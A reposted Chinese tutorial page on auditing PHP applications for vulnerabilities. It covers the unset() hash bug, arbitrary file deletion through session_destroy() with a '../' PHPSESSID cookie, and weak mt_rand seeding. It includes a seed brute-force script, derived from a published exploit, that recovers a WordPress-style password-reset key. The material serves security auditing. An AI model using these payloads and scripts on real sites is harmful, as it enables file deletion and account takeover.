服务报价 | 域名主机 | 网络营销 | 软件工具| [加入收藏]
 热线电话: #
当前位置: 主页 > php教程 > php教程 >

高级PHP应用程序漏洞审核技术(5)

时间:2011-03-10 14:59来源:未知 作者:最模板 点击:
漏洞审计策略 PHP版本要求:对应fix的版本 系统要求: 审计策略:查找对应函数名 PHP函数的其他漏洞 Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_

漏洞审计策略
PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名

 

PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码:

unset($uids);
......
$query
=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
        $uids
.= $member['uid'].',';
}
$uids
? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query
= $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");

 

漏洞审计策略
PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset

 

session_destroy()删除文件漏洞

测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:

<?php 
//val.php  
session_save_path
('./');
session_start
();
if($_GET['del']) {
        session_unset
();
        session_destroy
();
}else{
        $_SESSION
['hei']=1;
        echo
(session_id());
        print_r
($_SESSION);
}
?>

当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

 

漏洞审计策略
PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy

 

随机函数

1) rand() VS mt_rand()

<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>

可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

<?php
$a
= md5(rand());
for($i=0;$i<=32767;$i++){
 
if(md5($i) ==$a ) {
   
print $i."-->ok!!<br>";exit;
   
}else { print $i."<br>";}
}
?>

当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。

 

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找rand

 

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand
-- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

<?php
// seed with microseconds
function make_seed()
{
    list
($usec, $sec) = explode(' ', microtime());
   
return (float) $sec + ((float) $usec * 100000);
}
mt_srand
(make_seed());
$randval
= mt_rand();
?>

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下:

<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set
("max_execution_time",0);
$time
=(double) microtime()* 1000000;
print $time."\n";
mt_srand
($time);

$search_id
= mt_rand();
$seed
= search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max
= 1000000;
for($seed=0;$seed<=$max;$seed++){
        mt_srand
($seed);
        $key
= mt_rand();
       
if($key==$rand_num) return $seed;
}
return false;
}
?>

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:

 

seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3

 

 

seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3

 

对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()*1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:

<?php
mt_srand
(4);
$a
= mt_rand();
mt_srand
(5);
$b
= mt_rand();
print $a."\n".$b;
?>

通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:

<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0

define
('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1

$key
= wp_generate_password(20, false);
echo $key
."\n";
$seed
= getseed($key);
print $seed."\n";

mt_srand
($seed);
$pass
= wp_generate_password(20, false);
echo $pass
."\n";        
       
function wp_generate_password($length = 12, $special_chars = true) {
        $chars
= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
       
if ( $special_chars )
                $chars
.= '!@#$%^&*()';

        $password
= '';
       
for ( $i = 0; $i < $length; $i++ )
                $password
.= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
       
return $password;
}

function getseed($resetkey) {
        $max
= pow(2,(32-BUGGY));
       
for($x=0;$x<=$max;$x++) {
                $seed
= BUGGY ? ($x << 1) + 1 : $x;
                mt_srand
($seed);
                $testkey
= wp_generate_password(20,false);
               
if($testkey==$resetkey) { echo "o\n"; return $seed; }

               
if(!($x % 10000)) echo $x / 10000;
       
}
        echo
"\n";
       
return false;
}
?>

运行结果如下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

<?php
mt_srand
(42);
echo mt_rand
();
//php<=5.20 1387371436
//php>5.20 1354439493          
?>

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

 (责任编辑:最模板)

顶一下
(2)
100%
踩一下
(0)
0%
------分隔线----------------------------
栏目列表
热点内容